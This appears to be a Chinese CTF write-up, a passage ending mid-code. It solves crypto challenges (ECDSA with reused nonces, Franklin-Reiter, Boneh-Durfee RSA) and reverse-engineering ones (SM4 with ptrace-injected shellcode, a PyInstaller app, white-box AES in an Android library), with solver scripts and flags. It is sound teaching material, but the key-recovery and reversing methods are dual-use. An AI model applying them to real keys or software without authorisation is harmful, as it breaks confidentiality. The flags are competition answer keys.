ecdsa复用了随机数k1、k2和私钥x1、x2,四个式子整理一下就是两变量x1、x2和两个方程,可以用矩阵解。剩下打Franklin-Reiter攻击,系数大了点用HGCD即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
n = 115792089237316195423570985008687907852837564279074904382605163141518161494337
Zn = Zmod(n)

s1 = Zn(70264613994433317101824708333691569351293428290775945022557096997867421112623)
s2 = Zn(27386247988345867998752358066350183725137348277248603318763377237810993039608)
h1 = Zn(68926494835039378729440404424793589316085902585443402029912033361291851069895)
h2 = Zn(99816429822339421445908151468618514820067970997726274244928092260385418279182)
r1 = Zn(95467825458659408375936425122753380788640181504557006906236884175684680903422)

s3 = Zn(108271537842404710192407976239166854351892165018292127464175836717873395489565)
s4 = Zn(100312693542625967610858608130705401648902828203826044299984002070083890684220)
h3 = Zn(100471089356874379799029324099340355602511511524623953182021635156113287196537)
h4 = Zn(53552261622392134420510144174810499568173979993026285111445672642139328877380)
r2 = Zn(13940715298251935708383205669373172931583958487449924842542107474174521484127)

A = Matrix(Zn, [
[s2 * r1, -s1 * r1],
[s4 * r2, -s3 * r2]
])
b = vector(Zn, [
s1 * h2 - s2 * h1,
s3 * h4 - s4 * h3
])

if A.is_singular():
print("[-] no")
else:
sol = A.solve_right(b)
print("[+] find:")
print(f"x1 = {sol[0]}")
print(f"x2 = {sol[1]}")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
N = 98472559301398326519521704898800552100670435952553618641467704945731627783624140484670366845550939866842528582954361836035593755351584272693016822204234859506655433796327589389300744153263194916217158205372375670404000164793308078231134726345672236542974067442646354084915978240909130405000905936105602786257
c1 = 40127670364311180283394426274113033719543797673129006844648567069726278369353910517424074073714346881895826377902772771837790964432434997986229629267700081564740160692151350365553131535789070670584548053624970689607275665921674708650254889369926426966093575171344082441699295255661725211366819524902641461331
c2 = 4958767685161688254408001463637498631434015989118088175006720150146904021732816429444998309662995333252926794359370922113211567042198257249974382506057347524044728912256607992806670035884054654064021329936092742390064660715742236775795950389452053770118911570676738879382827738088237377423216124023239179385

x1=17754677231116188359396131937000664637388235962309739341039576063530375612219
x2=79541650983569507936838949546074094434344869740141472134648391439474061318003

from Crypto.Util.number import *

def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11

def GCD(a, b):
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)

e = 65537
PR.<x> = PolynomialRing(Zmod(N))
f1 = x^e - c1
f2 = (x1*x + x2)^e - c2
res = GCD(f1,f2)
m = -res.monic().coefficients()[0]
print(long_to_bytes(int(m)))

Strange RSA

首先发现u,v较小,导致hint函数里面的d1,d2是小私钥,用boneh脚本可以解出d1,d2进一步解出u,v

1
2
3
4
5
6
7
8
9
d1 = 1649010712229782299850848551980277578291258538000633837589698050054193337459137087
d2 = 1285707407708336469611922789424965876916577005852352154890635610024931952186455505
long_to_bytes(ZZ(pow(hint_ct,d2,N2)))
v2 = d1 // gcd(d1,d2) + d2 // gcd(d1,d2)
v = v2//2
u2 = d1 // gcd(d1,d2) - d2 // gcd(d1,d2)
u = u2//2
v,u
(21576, 2671)

观察e的生成,有等式

$$\frac{eu}{v} = \frac{w}{v} + A$$

$$e \cdot u = w + A \cdot v$$

其中e,u,v已知,A为2048bits,w为538bits

进一步变形

$$\text A = N^4 - s^4 + 4Ns^2 - 2N^2 + 1, ; s = p + q$$

考虑近似求出s,然后factor N,实际发现求出的s+1等于p+q

1
2
3
4
5
6
7
8
9
10
11
r = u*e3 // v
s = var("s")
f = N1^4 - s^4 + 4*N1*s^2 - 2*N1^2 + 1 - r
p_q = int(f.roots()[0][0]) + 1
x = var("x")
f = x*(p_q - x) - N1
q = int(f.roots()[0][0])
q = N1//p
assert p*q == N1
d = inverse_mod(e3,(p-1)*(q-1))
long_to_bytes(ZZ(pow(flag_ct,d,N1)))

Reverse

xuans

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall sub_403A52(__int64 a1, unsigned __int8 *a2)
{
v9 = 0LL;
v5 = ((unsigned __int64)a2[2] << 8) | ((unsigned __int64)a2[1] << 16) | ((unsigned __int64)*a2 << 24) | a2[3];
v6 = ((unsigned __int64)a2[6] << 8) | ((unsigned __int64)a2[5] << 16) | ((unsigned __int64)a2[4] << 24) | a2[7];
v7 = ((unsigned __int64)a2[10] << 8) | ((unsigned __int64)a2[9] << 16) | ((unsigned __int64)a2[8] << 24) | a2[11];
v8 = ((unsigned __int64)a2[14] << 8) | ((unsigned __int64)a2[13] << 16) | ((unsigned __int64)a2[12] << 24) | a2[15];
v4[0] = v5 ^ 0xA3B1BAC6;
v4[1] = v6 ^ 0x56AA3350;
v4[2] = v7 ^ 0x677D9197;
result = v8 ^ 0xB27022DC;
v4[3] = v8 ^ 0xB27022DC;
while ( v9 <= 0x1F )
{
v3 = v4[v9];
v4[v9 + 4] = v3 ^ sub_40393B(LODWORD(v4[v9 + 3]) ^ (unsigned int)(LODWORD(v4[v9 + 2]) ^ LODWORD(v4[v9 + 1])) ^ dword_4AA280[2 * v9]);
result = v4[v9 + 4];
*(_QWORD *)(8 * v9++ + a1) = result;
}
return result;
}

从上面的轮加密很容易看出来对于flag的加密逻辑是SM4,前面对SM4的key进行了一系列的操作,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if ( v45 )
{
sub_436CA0(500LL);
v27 = 0LL;
v28[0] = 0xE87D8948E5894855LL;
v28[1] = 0xEB0000000FFC45C7LL;
v28[2] = 0x48D06348FC458B3ALL;
v28[3] = 0xB60FD00148E8458BLL;
v28[4] = 0x8D489848FC458B30LL;
v28[5] = 0x148E8458B48FF50LL;
v28[6] = 0x48FC458B08B60FD0LL;
v28[7] = 0x148E8458B48D063LL;
v28[8] = 0x831088F289CE31D0LL;
v29[0] = 0x7F00FC7D8301FC6DLL;
*(_QWORD *)((char *)v29 + 7) = 0xC35D9090C07FLL;
v44 = v45;
sub_436B50(16LL, v45, 0LL, 0LL, v2, v3, a2);
sub_435AC0(0LL);
v43 = sub_402839(-1, (char)"libc.so", v4, v5, v6, v7);
v42 = sub_402839(v45, (char)"libc.so", (__int64)"libc.so", v8, v9, v10);
v41 = (__int64)sub_436A40 + v42 - v43;
v40 = (__int64)sub_420E20 + v42 - v43;
v25[0] = 0LL;
v25[1] = 0x4000LL;
v25[2] = 7LL;
v25[3] = 34LL;
v26 = 0uLL;
sub_402AD3(v45, (__int64)v33, (__int64)v33, v11, v12, v13);
sub_402AD3(v44, (__int64)&v30, (__int64)&v30, v14, v15, v16);
sub_402B16(v44, v41, v25, 6LL, &v30);
v39 = v32;
sub_402729(v44, (__int64)v28, v32, 87);
sub_402729(v44, (__int64)SM4_Key, v39 + 256, 16);
v36 = v39 + 256;
sub_402B16(v44, v39, &v36, 1LL, &v30);
sub_40262A(v44, (__int64)SM4_Key, v32 - 1, 17);
sub_402729(v44, (__int64)SM4_Key, (__int64)SM4_Key, 17);
v34 = -23;
v35 = sub_40320C(v40);
sub_402729(v44, (__int64)&v34, v40, 5);
sub_402A90(v44, (__int64)v33, (__int64)v33, v17, v18, v19);
sub_402A1B(v44, (__int64)v33, v20, v21, v22, v23);
sub_406C80(v45, 18);
sub_435B80(v45, 0LL, 0LL);
sub_4071A0(0LL);
}

写个脚本提出来shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shellcode_chunks = [
0xE87D8948E5894855,
0xEB0000000FFC45C7,
0x48D06348FC458B3A,
0xB60FD00148E8458B,
0x8D489848FC458B30,
0x148E8458B48FF50,
0x48FC458B08B60FD0,
0x148E8458B48D063,
0x831088F289CE31D0,
0x7F00FC7D8301FC6D,
0xC35D9090C07F
]

with open("shellcode.bin", "wb") as f:
for chunk in shellcode_chunks:
f.write(chunk.to_bytes(8, byteorder='little'))

ida反汇编得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
                                        push    rbp
seg000:0000000000000001 mov rbp, rsp
seg000:0000000000000004 mov [rbp+var_18], rdi
seg000:0000000000000008 mov [rbp+var_4], 0Fh
seg000:000000000000000F jmp short loc_4B
seg000:0000000000000011 ; ---------------------------------------------------------------------------
seg000:0000000000000011 mov eax, [rbp+var_4]
seg000:0000000000000014 movsxd rdx, eax
seg000:0000000000000017 mov rax, [rbp+var_18]
seg000:000000000000001B add rax, rdx
seg000:000000000000001E movzx esi, byte ptr [rax]
seg000:0000000000000021 mov eax, [rbp+var_4]
seg000:0000000000000024 cdqe
seg000:0000000000000026 lea rdx, [rax-1]
seg000:000000000000002A mov rax, [rbp+var_18]
seg000:000000000000002E add rax, rdx
seg000:0000000000000031 movzx ecx, byte ptr [rax]
seg000:0000000000000034 mov eax, [rbp+var_4]
seg000:0000000000000037 movsxd rdx, eax
seg000:000000000000003A mov rax, [rbp+var_18]
seg000:000000000000003E add rax, rdx
seg000:0000000000000041 xor esi, ecx
seg000:0000000000000043 mov edx, esi
seg000:0000000000000045 mov [rax], dl
seg000:0000000000000047 sub [rbp+var_4], 1
seg000:000000000000004B
seg000:000000000000004B loc_4B: ; CODE XREF: sub_0+F↑j
seg000:000000000000004B cmp [rbp+var_4], 0
seg000:000000000000004F jg short near ptr 0D0h
seg000:0000000000000051 rcl byte ptr [rax+0C35D90h], 0

很明显的循环异或逻辑,从最后一位一直向前异或,写个脚本模拟一下得到真正的key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int main()
{
unsigned char a[16] =
{
0x39, 0x5A, 0x3B, 0x5D,
0x3C, 0x0A, 0x3E, 0x08,
0x3E, 0x5F, 0x6F, 0x5D,
0x65, 0x07, 0x61, 0x03
};
for (int i = 16; i >=0; i--)
a[i] ^= a[i - 1];
for (int i = 0; i < 16; ++i)
printf("%.2X",a[i]);
printf("\n");
return 0;
}

解完得到39 63 61 66 61 36 34 36 36 61 30 32 38 62 66 62

然后赛博厨子解得假flag

img

然后卡住了挺长时间的,猜想通过ptrace改了密文,翻阅函数看到了方程组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
BOOL8 __fastcall sub_4019A5(unsigned __int8 *a1)
{
if ( 118 * a1[2] + 173 * *a1 + 48 * a1[1] + 193 * a1[3] != 66131 )
return 1LL;
if ( 196 * a1[1] + 68 * *a1 + 104 * a1[2] + 10 * a1[3] != 52620 )
return 1LL;
if ( 88 * a1[2] + 22 * *a1 + 37 * a1[1] + 71 * a1[3] != 36011 )
return 1LL;
if ( 59 * a1[2] + 141 * a1[1] + 89 * *a1 + 194 * a1[3] != 61842 )
return 1LL;
if ( 175 * a1[6] + 88 * a1[5] + 40 * a1[4] + 89 * a1[7] != 65258 )
return 1LL;
if ( 26 * a1[6] + 166 * a1[5] + 82 * a1[4] + 78 * a1[7] != 58176 )
return 1LL;
if ( 149 * a1[6] + 73 * a1[4] + 10 * a1[5] + 116 * a1[7] != 62478 )
return 1LL;
if ( 176 * a1[6] + 198 * a1[4] + 80 * a1[5] + 193 * a1[7] != 114069 )
return 1LL;
if ( 178 * a1[10] + 100 * a1[9] + 83 * a1[8] + 30 * a1[11] != 56170 )
return 1LL;
if ( 143 * a1[10] + 148 * (a1[8] + a1[9]) + 168 * a1[11] != 70647 )
return 1LL;
if ( 33 * a1[8] + 194 * a1[9] + 10 * a1[10] + 186 * a1[11] != 53174 )
return 1LL;
if ( 32 * a1[10] + (a1[8] << 7) + 33 * a1[9] + 152 * a1[11] != 26118 )
return 1LL;
if ( 184 * a1[14] + 115 * a1[13] + 164 * a1[12] + 29 * a1[15] != 81254 )
return 1LL;
if ( 129 * a1[13] + 35 * a1[12] + 129 * a1[14] + 165 * a1[15] != 78646 )
return 1LL;
if ( 134 * a1[13] + 54 * a1[12] + 39 * a1[14] + 18 * a1[15] != 29827 )
return 1LL;
if ( 106 * a1[14] + 133 * a1[13] + 80 * a1[12] + 43 * a1[15] != 53660 )
return 1LL;
if ( 121 * a1[18] + 187 * a1[16] + 32 * a1[17] + 2 * a1[19] != 24667 )
return 1LL;
if ( 170 * a1[17] + 66 * a1[16] + 58 * a1[18] + 36 * a1[19] != 44188 )
return 1LL;
if ( 103 * a1[16] + 120 * a1[17] + 12 * a1[18] + 175 * a1[19] != 52310 )
return 1LL;
if ( 83 * a1[16] + 92 * a1[17] + 129 * a1[18] + 143 * a1[19] != 46020 )
return 1LL;
if ( 141 * a1[22] + 54 * a1[21] + 100 * a1[20] + 122 * a1[23] != 66732 )
return 1LL;
if ( 85 * a1[21] + 171 * a1[20] + 69 * a1[22] + 7 * a1[23] != 46817 )
return 1LL;
if ( (a1[22] << 7) + 197 * a1[20] + 48 * a1[21] + 132 * a1[23] != 83536 )
return 1LL;
if ( 181 * a1[21] + 101 * a1[20] + 79 * a1[22] + 144 * a1[23] != 80587 )
return 1LL;
if ( 149 * a1[24] + 187 * a1[25] + 24 * a1[26] + 142 * a1[27] != 92687 )
return 1LL;
if ( 49 * a1[26] + 86 * a1[25] + 118 * a1[24] + 50 * a1[27] != 49285 )
return 1LL;
if ( 164 * a1[26] + 170 * a1[25] + 70 * a1[24] + 193 * a1[27] != 92711 )
return 1LL;
if ( 95 * a1[26] + 198 * a1[25] + 96 * a1[24] + a1[27] != 61904 )
return 1LL;
if ( 114 * a1[28] + 179 * a1[29] + 37 * a1[30] + 163 * a1[31] != 53864 )
return 1LL;
if ( 132 * a1[30] + 94 * a1[29] + 49 * a1[28] + 99 * a1[31] != 36980 )
return 1LL;
if ( 150 * a1[30] + 113 * a1[29] + 43 * a1[28] + (a1[31] << 7) == 40829 )
return 115 * a1[30] + 139 * a1[29] + a1[28] + 44 * a1[31] != 22448;
return 1LL;
}

z3脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from z3 import *
import itertools

def solve_group(idx, equations):
vars = [Int(f'a{idx * 4 + i}') for i in range(4)]
s = Solver()

for coeffs, result in equations:
s.add(Sum([c * v for c, v in zip(coeffs, vars)]) == result)

solutions = []
while s.check() == sat:
m = s.model()
solution = [m[v].as_long() for v in vars]
solutions.append(tuple(solution))
s.add(Or([v != m[v] for v in vars]))
return solutions

groups = [
{'equations': [([173, 48, 118, 193], 66131), ([68, 196, 104, 10], 52620),
([22, 37, 88, 71], 36011), ([89, 141, 59, 194], 61842)]},
{'equations': [([40, 88, 175, 89], 65258), ([82, 166, 26, 78], 58176),
([73, 10, 149, 116], 62478), ([198, 80, 176, 193], 114069)]},
{'equations': [([83, 100, 178, 30], 56170), ([148, 148, 143, 168], 70647),
([33, 194, 10, 186], 53174), ([128, 33, 32, 152], 26118)]},
{'equations': [([164, 115, 184, 29], 81254), ([35, 129, 129, 165], 78646),
([54, 134, 39, 18], 29827), ([80, 133, 106, 43], 53660)]},
{'equations': [([187, 32, 121, 2], 24667), ([66, 170, 58, 36], 44188),
([103, 120, 12, 175], 52310), ([83, 92, 129, 143], 46020)]},
{'equations': [([100, 54, 141, 122], 66732), ([171, 85, 69, 7], 46817),
([197, 48, 128, 132], 83536), ([101, 181, 79, 144], 80587)]},
{'equations': [([149, 187, 24, 142], 92687), ([118, 86, 49, 50], 49285),
([70, 170, 164, 193], 92711), ([96, 198, 95, 1], 61904)]},
{'equations': [([114, 179, 37, 163], 53864), ([49, 94, 132, 99], 36980),
([1, 139, 115, 44], 22448), ([43, 113, 150, 128], 40829)]},
]

all_solutions = []
for i, group in enumerate(groups):
sols = solve_group(i, group['equations'])
if not sols:
print(f"第 {i} 组无解")
exit()
print(f"第 {i} 组找到 {len(sols)} 个解")
all_solutions.append(sols)

full_solutions = list(itertools.product(*all_solutions))
print(f"\n总共组合出 {len(full_solutions)} 个完整解")

for idx, sol in enumerate(full_solutions, 1):
flat = [v for group in sol for v in group]

print(f"\n解 {idx}:")
for i in range(0, 32, 8):
line = ' '.join(f"{flat[j]:3d}" for j in range(i, i + 8))
print(f" {line}")

hex_line = ''.join(f"{b:02x}" for b in flat)
print(f"{hex_line}")

得到:1d7fea8e9b8991f350e69118d732b3fc49c12679a87162f6a1d42dc5e43b5956

img

猜测是真正的密文,尝试解密

img

解得flag,flag为:DASCTF{9d78b5507187421a48de8f6ef24a8d4b}

鱼音乐

exe很明显pyinstaller打包的,解包找到main.pyc和xianyu_decrypt.cp38-win_amd64.pyd,pylingual反编译pyc可知是python3.8

核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
info = load_and_decrypt_xianyu(file_path)
meta = info['meta']
cover_path = info['cover_path']
audio_path = info['audio_path']
if cover_path and os.path.exists(cover_path):
pixmap = QPixmap(cover_path)
self.cover_label.setPixmap(pixmap)
else:
self.cover_label.setText('无封面')
url = QUrl.fromLocalFile(audio_path)
self.player.setMedia(QMediaContent(url))
self.player.play()
name = meta.get('name', '未知')
artist = meta.get('artist', '未知歌手')
fl4g = meta.get('fl4g', 'where_is_the_flag?')

把pyd拿过来和main、xianyu后缀文件放同一目录动态调试即可得到flag

img

flag是DASCTF{fl5h_mus1c_miao_m1a0_mlaO}

更适合CTF宝宝体质的app

java层是假的flag(tea加密)

so层分析后发现还是arm好读,里面有几个函数开头有花指令

img

分析可以发现在跳转BR X8后的代码反汇编失败,分析X8值,首先是X8=(1^0xAB^0xC7)-0x6C=1,然后X8=X9+X12*X8=0x4028+0x14=0x403C,所以实际上实现了一个计算跳转地址,中间所有的都是花指令,直接IDA nop即可

去花后可以反编译,根据JNI_OnLoad找到Check函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
bool __fastcall sub_3A9C(__int64 a1)
{
_BOOL4 v3; // [xsp+3Ch] [xbp-144h]
_OWORD v4[2]; // [xsp+40h] [xbp-140h] BYREF
_BYTE v5[64]; // [xsp+60h] [xbp-120h] BYREF
_OWORD s1[2]; // [xsp+150h] [xbp-30h] BYREF
__int64 v7; // [xsp+178h] [xbp-8h]

v7 = *(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
s1[1] = xmmword_D84;
s1[0] = xmmword_D74;
memset(v4, 0, sizeof(v4));
sub_3FD0(a1, v5);
sub_3FD0(a1 + 16, &v5[16]);
sub_37F0(v5, v4, 0x20uLL, 0x6C6F7665);
v3 = memcmp(s1, v4, 0x20uLL) == 0;
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return v3;
}
__int64 __fastcall sub_3FD0(__int64 a1, __int64 a2)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

v17 = *(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
memset(v16, 0, sizeof(v16));
memset(v15, 0, sizeof(v15));
memset(s, 0, sizeof(s));
__memcpy_chk(v16, &unk_6FA4, 163840LL, 163840LL);
__memcpy_chk(v15, &unk_2EFA4, 4096LL, 4096LL);
__memcpy_chk(s, &unk_2FFA4, 221184LL, 221184LL);
__memcpy_chk(v13, a1, 16LL, 16LL);
for ( i = 0; i <= 8; ++i )
{
shift(v13);
for ( j = 0; j <= 3; ++j )
{
v8 = *&v16[0x4000 * i + 1024 * (4 * j) + 4 * v13[4 * j]];
v7 = *&v16[0x4000 * i + 1024 * ((4 * j) | 1) + 4 * v13[(4 * j) | 1]];
v6 = *&v16[0x4000 * i + 1024 * ((4 * j) | 2) + 4 * v13[(4 * j) | 2]];
v5 = *&v16[0x4000 * i + 1024 * ((4 * j) | 3) + 4 * v13[(4 * j) | 3]];
v4 = 24 * j;
v13[4 * j] = *(&s[1536 * i
+ 16 * (24 * j + 5)
+ *(&s[1536 * i + 16 * (24 * j + 2) + (HIBYTE(v8) & 0xF)] + (HIBYTE(v7) & 0xF))]
+ *(&s[1536 * i + 16 * (24 * j + 3) + (HIBYTE(v6) & 0xF)] + (HIBYTE(v5) & 0xF))) | (16 * *(&s[1536 * i + 16 * (24 * j + 4) + *(&s[1536 * i + 16 * (24 * j) + (v8 >> 28)] + (v7 >> 28))] + *(&s[1536 * i + 16 * (24 * j + 1) + (v6 >> 28)] + (v5 >> 28))));
v13[(4 * j) | 1] = *(&s[1536 * i
+ 16 * (v4 + 11)
+ *(&s[1536 * i + 16 * (24 * j + 8) + (BYTE2(v8) & 0xF)] + (BYTE2(v7) & 0xF))]
+ *(&s[1536 * i + 16 * (24 * j + 9) + (BYTE2(v6) & 0xF)] + (BYTE2(v5) & 0xF))) | (16 * *(&s[1536 * i + 16 * (v4 + 10) + *(&s[1536 * i + 16 * (24 * j + 6) + ((v8 >> 20) & 0xF)] + ((v7 >> 20) & 0xF))] + *(&s[1536 * i + 16 * (24 * j + 7) + ((v6 >> 20) & 0xF)] + ((v5 >> 20) & 0xF))));
v13[(4 * j) | 2] = *(&s[1536 * i
+ 16 * (v4 + 17)
+ *(&s[1536 * i + 16 * (24 * j + 14) + ((v8 >> 8) & 0xF)] + ((v7 >> 8) & 0xF))]
+ *(&s[1536 * i + 16 * (24 * j + 15) + ((v6 >> 8) & 0xF)] + ((v5 >> 8) & 0xF))) | (16 * *(&s[1536 * i + 16 * (v4 + 16) + *(&s[1536 * i + 16 * (24 * j + 12) + (v8 >> 12)] + (v7 >> 12))] + *(&s[1536 * i + 16 * (24 * j + 13) + (v6 >> 12)] + (v5 >> 12))));
v13[(4 * j) | 3] = *(&s[1536 * i
+ 16 * (24 * j + 23)
+ *(&s[1536 * i + 16 * (24 * j + 20) + (v8 & 0xF)] + (v7 & 0xF))]
+ *(&s[1536 * i + 16 * (24 * j + 21) + (v6 & 0xF)] + (v5 & 0xF))) | (16
* *(&s[1536 * i
+ 16 * (24 * j + 22)
+ *(&s[1536 * i + 16 * (24 * j + 18) + (v8 >> 4)] + (v7 >> 4))]
+ *(&s[1536 * i + 16 * (24 * j + 19) + (v6 >> 4)]
+ (v5 >> 4))));
}
}
result = shift(v13);
for ( k = 0; k <= 15; ++k )
*(a2 + k) = v15[256 * k + v13[k]];
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return result;
}
__int64 __fastcall sub_37F0(__int64 a1, __int64 a2, unsigned __int64 a3, int a4)
{
__int64 result; // x0
unsigned __int64 i; // [xsp+8h] [xbp-38h]
int v9; // [xsp+34h] [xbp-Ch] BYREF
__int64 v10; // [xsp+38h] [xbp-8h]

v10 = *(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
v9 = a4;
result = sub_3750(&v9, 4uLL);
for ( i = 0LL; i < a3; ++i )
*(a2 + i) = *(a1 + i) ^ (result >> (8 * (i & 3)));
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
return result;
}
__int64 __fastcall sub_3750(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 i; // [xsp+10h] [xbp-20h]
unsigned int v4; // [xsp+1Ch] [xbp-14h]

(loc_3678)();
v4 = -1;
for ( i = 0LL; i < a2; ++i )
v4 = dword_65FB8[(v4 ^ *(a1 + i))] ^ (v4 >> 8);
return ~v4;
}
void Java_com_example_test_MainActivity_Get()
{
int j; // [xsp+4h] [xbp-2Ch]
unsigned int v1; // [xsp+8h] [xbp-28h]
int i; // [xsp+Ch] [xbp-24h]

__break(1u);
if ( !dword_65FB4 )
{
for ( i = 0; i < 256; ++i )
{
v1 = i;
for ( j = 0; j < 8; ++j )
{
if ( (v1 & 1) != 0 )
v1 = (v1 >> 1) ^ 0xEDB88320;
else
v1 >>= 1;
}
dword_65FB8[i] = v1;
}
dword_65FB4 = 1;
}
}

分析可知s1是密文,sub_3FD0是白盒AES(很大的查表操作),sub_37F0是带有crc的异或加密

首先分析crc加密,使用了dword_65FB8来查表计算,交叉引用发现在Java_com_example_test_MainActivity_Get进行了初始化,可以直接模拟逻辑生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def init_crc_table():
crc_table = [0] * 256
for i in range(256):
x = i
for _ in range(8):
if x & 1:
x = (x >> 1) ^ 0xEDB88320
else:
x >>= 1
crc_table[i] = x
return crc_table

crc_table = init_crc_table()

def compute_crc(data):
crc = 0xFFFFFFFF
for byte in data:
crc = (crc >> 8) ^ crc_table[(crc ^ byte) & 0xFF]
return crc ^ 0xFFFFFFFF

key_crc = compute_crc(b'love'[::-1])


def invert_sub_37F0(s1, key_crc):
v5 = bytearray(32)
for i in range(32):
shift = 8 * (i % 4)
v5[i] = s1[i] ^ ((key_crc >> shift) & 0xFF)
return bytes(v5)

s = list(bytes.fromhex("0BCF797EC7EA5F31BCEEE70B1E91AADD6F07C1103675200632E3D066B87DFC90"))
v5 = invert_sub_37F0(s, key_crc)
print(v5.hex()) # df59d8a5137cfeea687846d0ca070b06bb9160cbe2e381dde67571bd6ceb5d4b

然后是白盒AES,需要提取密钥,关注到sub_3FD0中的unk_6FA4大小是163840,正好是41016256,unk_2EFA4大小是4096,正好是16256,结合aes白盒板子要得到tyibox和tbox,idc提取数据填入即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
import idc
import ida_bytes

# 参数配置
base = 0x6FA4
dim1, dim2, dim3 = 10, 16, 256
total_u32 = dim1 * dim2 * dim3
byte_count = total_u32 * 4

# 目标输出路径(注意 Windows 路径反斜杠)
output_path = r"tyibox.txt"

# 读取内存块
data = ida_bytes.get_bytes(base, byte_count)
if data is None:
print("读取地址失败!请检查地址是否有效。")
else:
with open(output_path, 'w', encoding='utf-8') as f:
f.write("uint32_t tyibox[10][16][256] = {\n")
idx = 0
for i in range(dim1):
f.write(" {\n") # tyibox[i]
for j in range(dim2):
f.write(" {")
line = ""
for k in range(dim3):
offset = idx * 4
u32val = int.from_bytes(data[offset:offset+4], byteorder='little')
line += f"0x{u32val:08X}, "
idx += 1
# 去掉结尾多余逗号
line = line.rstrip(", ")
f.write(line)
f.write("},\n")
f.write(" },\n")
f.write("};\n")
print(f"导出成功!已写入到: {output_path}")

import idc
import ida_bytes

# 参数配置
base = 0x2EFA4 # 对应 unk_2EFA4
dim1, dim2 = 16, 256
total_bytes = dim1 * dim2

# 输出文件路径
output_path = r"tbox.txt"

# 读取字节数据
data = ida_bytes.get_bytes(base, total_bytes)
if data is None:
print(f"读取地址 0x{base:X} 失败!")
else:
with open(output_path, 'w', encoding='utf-8') as f:
f.write("uint8_t tbox[16][256] = {\n")
for i in range(dim1):
f.write(" {")
row = ""
for j in range(dim2):
val = data[i * dim2 + j]
row += f"0x{val:02X}, "
row = row.rstrip(", ") # 去掉最后一个逗号
f.write(row)
f.write("},\n")
f.write("};\n")
print(f"导出成功,写入到: {output_path}")
#include<iostream>
#include<cstdlib>
#include<cmath>
#include<string>
#include<windows.h>
using namespace std;
#include <stdio.h>
#include <string.h>
typedef unsigned char u8;
typedef unsigned int u32;

u8 gmul(u8 ap, u8 bp) {
u8 p = 0, a = ap, b = bp;
while (a != 0 && b != 0) {
if (b & 1 != 0) p ^= a;
if ((a & 0x80) != 0)
